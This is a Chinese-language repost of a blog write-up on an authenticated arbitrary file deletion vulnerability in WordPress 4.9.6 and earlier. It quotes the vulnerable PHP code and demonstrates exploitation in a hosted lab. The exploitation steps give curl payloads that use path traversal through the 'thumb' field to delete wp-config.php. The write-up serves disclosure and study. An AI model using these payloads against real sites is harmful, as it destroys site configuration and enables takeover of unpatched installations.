Wordpress <= 4.9.6 任意文件删除漏洞

本文转载自:Wordpress <= 4.9.6 任意文件删除漏洞 -http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility/

Wordpress <= 4.9.6 任意文件删除漏洞

WordPress是如今使用最为广泛的一套内容管理系统。根据 w3tech 统计,全世界大概有30%的网站运行着WordPress程序。

昨日RIPS团队公开了一个Wordpress的任意文件删除漏洞(需要登录),目前该漏洞仍然未修复(2018年06月27日),该漏洞影响 Wordpress 最新版 4.9.6.

本文我们将结合 VulnSpy 的在线 WordPress 环境来演示该漏洞的利用。

VulnSpy Wordpress 4.9 在线环境: http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/

漏洞分析

  1. 文件wp-includes/post.php中:

123456789101112131415

function wp_delete_attachment( $post_id, $force_delete = false ) { ... $meta = wp_get_attachment_metadata( $post_id ); ... if ( ! empty($meta['thumb']) ) { // Don't delete the thumb if another attachment uses it. if (! $wpdb->get_row( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = '_wp_attachment_metadata' AND meta_value LIKE %s AND post_id <> %d", '%' . $wpdb->esc_like( $meta['thumb'] ) . '%', $post_id)) ) { $thumbfile = str_replace(basename($file), $meta['thumb'], $file); /** This filter is documented in wp-includes/functions.php */ $thumbfile = apply_filters( 'wp_delete_file', $thumbfile ); @ unlink( path_join($uploadpath['basedir'], $thumbfile) ); } } ...}

$meta['thumb']来自与数据库,是图片的属性之一。代码未检查$meta['thumb']的内容,直接带入unlink函数,如果$meta['thumb']可控则可导致文件删除。

  1. 文件/wp-admin/post.php中:

123456789101112

...switch($action) {... case 'editattachment': check_admin_referer('update-post_' . $post_id); ... // Update the thumbnail filename $newmeta = wp_get_attachment_metadata( $post_id, true ); $newmeta['thumb'] = $_POST['thumb']; wp_update_attachment_metadata( $post_id, $newmeta );...

$newmeta['thumb']来自于$_POST[‘thumb’],未经过滤直接将其存入数据库,即上一步的$meta['thumb']可控。

详细分析可见:WARNING: WordPress File Delete to Code Execution - https://blog.ripstech.com/2018/wordpress-file-delete-to-code-execution/

漏洞利用

1. 使用VSPlate安装你的Wordpress 4.9

Wordpress 4.9 在线环境: http://www.vulnspy.com/wordpress-4.9/wordpress_4.9/

Wordpress AFD

2. 登录后台,添加媒体

访问 http://9c9b.vsplate.me/wp-admin/upload.php, 上传任意图片.

Wordpress AFD

3. 将 $meta[‘thumb’] 设置为我们要删除的文件

3.1 点击第二步中我们上传的图片, 并记住图片ID.

Wordpress AFD

3.2 访问 http://9c9b.vsplate.me/wp-admin/post.php?post=4&action=edit. 在网页源代码中找到 _wpnonce.

Wordpress AFD

3.3 发送Payload:

1

curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=editattachment&_wpnonce=***&thumb=../../../../wp-config.php'

Wordpress AFD

4. 删除文件

4.1 在网页源码中找到另外一个 _wpnonce.

Wordpress AFD

4.2 发送Payload:

1

curl -v 'http://9c9b.vsplate.me/wp-admin/post.php?post=4' -H 'Cookie: ***' -d 'action=delete&_wpnonce=***'

Wordpress AFD

5. 刷新网页

已经可以重装网站。

Wordpress AFD

原文链接:http://blog.vulnspy.com/2018/06/27/Wordpress-4-9-6-Arbitrary-File-Delection-Vulnerbility/

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏Android干货

Android项目实战(四十):Andoird 7.0+ 安装APK适配

2806
来自专栏DeveWork

10个使用 Foundation 框架开发的WordPress 主题推荐

上一篇文章介绍了《Foundation:高级的响应式前端框架》,今天则介绍10个使用 Foundation 框架开发的WordPress 主题,对于想研究 Fo...

25010
来自专栏ios 技术积累

利用Runtime实现NScoding

最近项目需要缓存,因为项目都是用的对象,要缓存对象必须实现NSCoding协议,但是每个Model都要实现

1031
来自专栏IMWeb前端团队

抛弃 IE8,这是我们做的一个艰难的决定

距离我们抛弃 IE6、7 已经两年多了,我们就一直眼巴巴的想着什么时候可以抛弃 IE8,然后就在上个月,我们决定开始抛弃 IE8 了,原因是我们的 ...

1966
来自专栏封碎

在一个apk中调用另外一个apk中的activity 博客分类: Android小技巧 AndroidCC++C#Web

    其实,这本来是一件很简单的事情,但是我发现很多人问我这个问题,所以写篇小文章供参考。

672
来自专栏指尖下的Android

安卓7.0在线更新解析包时出现问题

关于7.0行为变更,FileProvider应用共享文件的问题可以看鸿洋大佬的这篇博客 https://blog.csdn.net/lmj623565791/...

662
来自专栏非著名程序员

Android调用手机中的应用市场,去评分的功能实现

在我们常常使用的软件当中,我们经常可以看到在软件的设置界面,有一个功能那就是去评分的功能,只要我们一点击“去评分”就会调用手机中的应用市场软件。一开始我以为这个...

1895
来自专栏Android干货

Android项目实战(四十九):Andoird 7.0+相机适配

一、在AndroidManifest.xml 文件中添加 四大组件之一的 <provider>

670
来自专栏分享达人秀

四大组件的纽带——Intent

前面学习Activity时己经多次使用了 Intent,当一个Activity需要启动另一个Activity时, 程序并没有直接告诉系统要启动哪个Act...

2065
来自专栏码农笔录

Android N 7.0 上安装apk问题

1113

扫码关注云+社区